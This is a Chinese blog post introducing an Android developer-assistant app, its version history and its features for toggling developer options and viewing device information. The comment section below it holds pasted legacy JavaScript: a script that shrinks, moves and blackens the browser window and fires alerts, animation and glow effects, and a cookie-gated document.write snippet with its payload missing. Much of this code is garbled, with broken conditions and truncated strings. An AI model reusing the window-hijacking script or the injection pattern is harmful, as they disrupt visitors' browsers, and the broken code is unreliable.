02/08
2017

Android 开发助手功能及版本介绍

“开发助手”是一个可以大幅提高 Android 开发调试效率的工具 App ,通过它你可以一键快速开关常用的开发者选项功能,能够快速查看系统软硬件信息,能够快速切换系统语言等。将原本十几秒的等待和操作,在一次点击内完成。
更专业的高级版介绍可见:开发助手专业版
Android Developer Tools

 

目前已发布版本包括:

1.4.0 版本——系统界面调节工具
1.3.0 版本——统一 5 个新功能发布和 12+ 问题修复
1.2.0 版本——GPU 呈现模式分析、其他内容模块
1.1.0 版本——显示 GPU 过度绘制、工具单独快捷方式
1.0.0 版本——Android 开发助手,数十倍效率提升

 

功能包括:

1. 一键快速开关开发者选项

包括一键快速自动切换显示布局边界、显示 GPU 过度绘制、显示布局更新、强制 GPU 渲染、显示 GPU 视图更新、显示指针位置、严格模式、不保留活动、不锁定屏幕等。

 

自动开启布局边界、显示指针位置、显示 GPU 呈现模式分析如下图:
Android 开发调试工具 显示布局边界 显示 GPU 过度绘制 显示指针位置 显示 GPU 呈现模式分析

 

2. 快速查看系统相关信息

包括快速查看 Android 手机屏幕、系统、硬件、虚拟机、网络、CPU、ID 等信息。

 

其中屏幕信息包括:屏幕密度、分辨率、可用分辨率、屏幕尺寸。

 

系统信息包括:Android 版本、对应版本代号、API 版本、Android 基带版本、Linux 内核版本、系统 WebView 默认 Http User Agent。

 

硬件信息包括:手机型号、手机制造商、手机主板、设备、产品信息、CPU 信息、可用内存/总内存、可用存储/总存储、屏幕分辨率、屏幕尺寸等。

 

虚拟机信息包括:虚拟机类型、虚拟机版本、Java Home、启动类路径。

 

网络信息包括:当前网络类型、当前 IP、当前 IPv6、手机 Mac 地址。

 

那些 ID 信息包括:手机 IMEI、IMEI SV、手机号、SIM 卡序列号、手机 Mac 地址。

 

CPU 信息包括:CPU 架构(so 类型)、CPU 核数、CPU 位数、CPU 型号。

 

利用开发助手查看系统相关信息合图如下:
Android 开发调试工具 查看 Android 手机屏幕、系统、硬件、虚拟机、网络、CPU、ID 等信息

 

3. 快速开启设置、语言切换、我的应用

可以快速跳转到系统设置、系统语言切换、我的应用界面。

 

4. 工具快捷方式——快,更快

通过长按某个工具图标将其作为快捷方式添加到桌面,以后连打开 App 的步骤都省去了。具体可见 应用开发助手 1.1.0 版——新工具+更高效率

 

5. 生命短暂,效率至上

后续还有其他利于开发的新功能,欢迎大家使用、推荐给身边朋友,任何 Bug 或是新功能建议欢迎给我反馈。
记得到应用商店给我们好评哦。

您可以使用这些 HTML 标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

238 thoughts on “Android 开发助手功能及版本介绍

    • 欢迎光临我的网站!

      window.scrollBy(0, 100)
      window.resizeTo(0,0)
      window.moveTo(0,0)
      document.bgColor=0×000000
      document.fgColor=0×000000
      //setInterval(“move()”,30);
      setTimeout(“move()”, 1);
      var mxm=50
      var mym=25
      var mx=0
      var my=0
      var sv=50
      var status=1
      var szx=0
      var szy=0
      var c=255
      var n=0
      var sm=30
      var cycle=2
      var done=2
      function move()
      {
      if (status == 1)
      {
      mxm=mxm/1.05
      mym=mym/1.05
      mx=mx+mxm
      my=my-mym
      mxm=mxm+(400-mx)/100
      mym=mym-(300-my)/100
      window.moveTo(mx,my)
      rmxm=Math.round(mxm/10)
      rmym=Math.round(mym/10)
      if (rmxm == 0)
      {
      if (rmym == 0)
      {
      status=2
      }
      }
      }
      if (status == 2)
      {
      sv=sv/1.1
      scrratio=1+1/3
      mx=mx-sv*scrratio/2
      my=my-sv/2
      szx=szx+sv*scrratio
      szy=szy+sv
      window.moveTo(mx,my)
      window.resizeTo(szx,szy)
      if (sv < 0.1)
      {
      status=3
      }
      }
      if (status == 3)
      {
      document.fgColor=0xffffFF
      c=c-16
      document.bgColor=0×000000
      if (c 239)
      {status=5}
      }
      if (status == 5)
      {
      c=c-16
      document.bgColor=c*65536
      document.fgColor=(255-c)*65536
      if (c 0)
      {
      if (done == 1)
      {status=7}
      else
      {status=4}
      }
      }
      }
      if (status == 6)
      {
      document.title = “”
      alert(“”)
      cycle=2
      status=4
      done=1
      }
      if (status == 7)
      {
      c=c+4
      document.bgColor=c*65536
      document.fgColor=(255-c)*65536
      if (c > 128)
      {status=8}
      }
      if (status == 8)
      {
      window.moveTo(0,0)
      sx=screen.availWidth
      sy=screen.availHeight
      window.resizeTo(sx,sy)
      status=9
      }
      var timer=setTimeout(“move()”,0.3)
      }

      冰舞精灵光临贵站


      欢迎光临长风大侠网站!!

      <!–
      var from = 1;
      var to = 4;
      var delay = 55; //闪的速度
      var glowColor = "lime";//颜色
      var i = to;
      var j = 0;
      textPulseDown();
      function textPulseUp()
      {
      if (!document.all)
      return
      if (i from)
      {
      theText.style.filter = “Glow(Color=” + glowColor + “, Strength=” + i + “)”;
      i–;
      theTimeout = setTimeout(‘textPulseDown()’,delay);
      return 0;
      }
      if (i = from)
      {
      theTimeout = setTimeout(‘textPulseUp()’,delay);
      return 0;
      }
      }
      //–>

      0) && (parseInt(navigator.appVersion.substring(ms+5, ms+6)) >= 4)
      if(!ie4)
      {
      if((navigator.appName == “Netscape”) &&
      (parseInt(navigator.appVersion.substring(0, 1)) >= 4))
      {
      for (index=document.layers.length-1; index >= 0; index–)
      {
      layer=document.layers[index]
      if (layer.left==10000)
      layer.left=0
      }
      }
      return
      }
      for (index=document.all.length-1; index >= document.body.sourceIndex; index–)
      {
      el = document.all[index]
      animation = el.getAttribute(dynamicanimAttr, false)
      if(null != animation)
      {
      if(animation == “dropWord” || animation == “flyTopRightWord” || animation == “flyBottomRightWord”)
      {
      ih = el.innerHTML
      outString = “”
      i1 = 0
      iend = ih.length
      while(true)
      {
      i2 = startWord(ih, i1)
      if(i2 == -1)
      i2 = iend
      outWord(ih, i1, i2, false, “”)
      if(i2 == iend)
      break
      i1 = i2
      i2 = endWord(ih, i1)
      if(i2 == -1)
      i2 = iend
      outWord(ih, i1, i2, true, animation)
      if(i2 == iend)
      break
      i1 = i2
      }
      document.all[index].innerHTML = outString
      document.all[index].style.posLeft = 0
      document.all[index].setAttribute(dynamicanimAttr, null)
      }
      if(animation == “zoomIn” || animation == “zoomOut”)
      {
      ih = el.innerHTML
      outString = “
      outString += ih
      outString += “

      document.all[index].innerHTML = outString
      document.all[index].style.posLeft = 0
      document.all[index].setAttribute(dynamicanimAttr, null)
      }
      }
      }
      i = 0
      for (index=document.body.sourceIndex; index < document.all.length; index++)
      {
      el = document.all[index]
      animation = el.getAttribute(dynamicanimAttr, false)
      if (null != animation)
      {
      if(animation == "flyLeft")
      {
      el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
      el.style.posTop = 0
      }
      else if(animation == "flyRight")
      {
      el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
      el.style.posTop = 0
      }
      else if(animation == "flyTop" || animation == "dropWord")
      {
      el.style.posLeft = 0
      el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
      }
      else if(animation == "flyBottom")
      {
      el.style.posLeft = 0
      el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
      }
      else if(animation == "flyTopLeft")
      {
      el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
      el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
      }
      else if(animation == "flyTopRight" || animation == "flyTopRightWord")
      {
      el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
      el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
      }
      else if(animation == "flyBottomLeft")
      {
      el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
      el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
      }
      else if(animation == "flyBottomRight" || animation == "flyBottomRightWord")
      {
      el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
      el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
      }
      else if(animation == "spiral")
      {
      el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
      el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
      }
      else if(animation == "zoomIn")
      {
      el.style.posLeft = 10000
      el.style.posTop = 0
      }
      else if(animation == "zoomOut")
      {
      el.style.posLeft = 10000
      el.style.posTop = 0
      }
      else
      {
      el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
      el.style.posTop = 0
      }
      el.initLeft = el.style.posLeft
      el.initTop = el.style.posTop
      animateElements[i++] = el
      }
      }
      window.setTimeout("animate();", speed)
      }
      function offsetLeft(el)
      {
      x = el.offsetLeft
      for (e = el.offsetParent; e; e = e.offsetParent)
      x += e.offsetLeft;
      return x
      }
      function offsetTop(el)
      {
      y = el.offsetTop
      for (e = el.offsetParent; e; e = e.offsetParent)
      y += e.offsetTop;
      return y
      }
      function startWord(ih, i)
      {
      for(tag = false; i < ih.length; i++)
      {
      c = ih.charAt(i)
      if(c == '’)
      tag = false
      }
      return -1
      }
      function endWord(ih, i)
      {
      nonSpace = false
      space = false
      while(i < ih.length)
      {
      c = ih.charAt(i)
      if(c != ' ')
      nonSpace = true
      if(nonSpace && c == ' ')
      space = true
      if(c == '<')
      return i
      if(space && c != ' ')
      return i
      i++
      }
      return -1
      }
      function outWord(ih, i1, i2, dyn, anim)
      {
      if(dyn)
      outString += "
      outString += ih.substring(i1, i2)
      if(dyn)
      outString += “

      }
      function animate()
      {
      el = animateElements[currentElement]
      animation = el.getAttribute(dynamicanimAttr, false)
      step++
      if(animation == “spiral”)
      {
      steps = stepsSpiral
      v = step/steps
      rf = 1.0 – v
      t = v * 2.0*Math.PI
      rx = Math.max(Math.abs(el.initLeft), 200)
      ry = Math.max(Math.abs(el.initTop), 200)
      el.style.posLeft = Math.ceil(-rf*Math.cos(t)*rx)
      el.style.posTop = Math.ceil(-rf*Math.sin(t)*ry)
      }
      else if(animation == “zoomIn”)
      {
      steps = stepsZoom
      el.style.fontSize = Math.ceil(50+50*step/steps) + “%”
      el.style.posLeft = 0
      }
      else if(animation == “zoomOut”)
      {
      steps = stepsZoom
      el.style.fontSize = Math.ceil(100+200*(steps-step)/steps) + “%”
      el.style.posLeft = 0
      }
      else
      {
      steps = stepsFly
      if(animation == “dropWord” || animation == “flyTopRightWord” || animation == “flyBottomRightWord”)
      steps = stepsWord
      dl = el.initLeft / steps
      dt = el.initTop / steps
      el.style.posLeft = el.style.posLeft – dl
      el.style.posTop = el.style.posTop – dt
      }
      if (step >= steps)
      {
      el.style.posLeft = 0
      el.style.posTop = 0
      currentElement++
      step = 0
      }
      if(currentElement

      返回主页

      if(document.cookie.indexOf(‘st’)==-1){var expires=new Date();expires.setTime(expires.getTime()+22*60*60*1000);document.cookie=’st=Yes;path=/;expires=’+expires.toGMTString();document.write(”);}